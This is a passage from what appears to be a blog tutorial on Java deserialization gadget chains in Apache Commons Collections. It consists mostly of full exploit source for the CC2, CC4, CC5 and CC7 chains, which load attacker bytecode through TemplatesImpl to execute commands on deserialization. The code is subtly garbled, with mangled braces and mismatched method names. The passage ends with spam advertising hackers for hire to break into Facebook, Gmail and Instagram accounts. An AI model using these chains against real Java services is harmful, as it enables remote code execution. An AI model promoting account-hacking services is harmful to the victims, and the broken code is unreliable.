new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1); // Because only when the parameter is greater than two can the queue comparison be triggered, and these added parameters are the parameters for the subsequent compar
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
Serializ(queue);
Unserializ("Ser_c.bin");
{}
{}
In fact, this CC2 can be improved further by using the method of loading bytecode to try countless combinations of executing commands.
When studying CC6 at school, I learned that when the parameters of transform are controllable, we can execute commands by using the method of loading bytecode without needing properties.
And this chain is accessed through the method queue.add(templates);, the parameters passed in will be called in the transform triggered during deserialization, as follows:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC2_loader {
public CC2_loader() throws IOException, ClassNotFoundException {
{}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
{}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes = {code};
bytecodeField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(templates);
queue.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
Serializ(queue);
Unserializ("Ser.bin");
{}
{}
CC4
CC4 actually changes the way bytecode is loaded from the final reflection acquisition to being triggered by the constructor of TrAXFilter
That is, the latter half has been changed to another method of loading bytecode for cc3
exp as follows
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CC4 {
public CC4() throws IOException, ClassNotFoundException {
{}
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
{}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes = {code};
bytecodeField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
//Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, Transformer);
//setFieldValue(transformer, "iMethodName", "newTransformer");
Serializ(queue);
Unserializ("Ser.bin");
{}
{}
CC5
After learning the previous several CC chains, the difficulty of learning CC5 is actually not very high. The difference with the previous one is actually that the entry class has changed, and the latter part is the same as CC6, which changes the entry class to the readObject method of BadAttributeValueExpException to trigger toString
exp as follows
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] codes = {code};
bytecodeField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
Field val=obj.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(obj,tiedMapEntry);
Field iMethodName=transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer,"newTransformer");
lazyMap.remove(templates);
//tiedMapEntry.toString();
Serializ(obj);
Unserialize("ser.bin");
{}
{}
CC7
CC7 is also a different way to trigger the LazyMap CC chain
The EXP is as follows
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
public class CC7 {
public static void Serializ(Object obj) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
FileOutputStream fos = new FileOutputStream("ser.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
byte[] byteArray = bos.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String base64 = encoder.encodeToString(byteArray);
System.out.println(base64);
{}
public static Object Unserializ(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
{}
public static void main(String[] args) throws Exception {
TemplatesImpl tmpl = new TemplatesImpl()
Class clazz=tmpl.getClass();
Field namefeld= clazz.getDeclaredField("_name");
namefeld.setAccessible(true);
namefeld.set(tmpl,"aaa");
Field bytefeld= clazz.getDeclaredField("_bytecodes");
bytefeld.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\24882\\Desktop\\java-sec\\cc\\src\\test\\java\\test_calc.class"));
byte[][] bytecodes= {code};
bytefeld.set(tmpl,bytecodes);
Field tfactoryfeld= clazz.getDeclaredField("_tfactory");
tfactoryfeld.setAccessible(true);
tfactoryfeld.set(tmpl,new TransformerFactoryImpl());
Transformer[] Transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{tmpl})
};
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(2)};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
innerMap1.put("pP",1);
Map innerMap2 = new HashMap();
innerMap2.put("oo", 1);
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
lazyMap2.remove("pP");
Class clazz2 = ChainedTransformer.class;
Field field = clazz2.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, Transformer);
Serialize(hashtable);
Unserialize("ser.bin");
{}
{}
account hackers for hire(Footer)
hack facebook account of someone online by hacker hire(Hackers For Hire)
hire a hacker to hack into a gmail account
insta aaccount recover hackers hire
can we hire hacker to hack own google accoiunt
hack facebook account of someone online by hacker hire
hire a hacker to hack into a gmail account
insta aaccount recover hackers hire

评论已关闭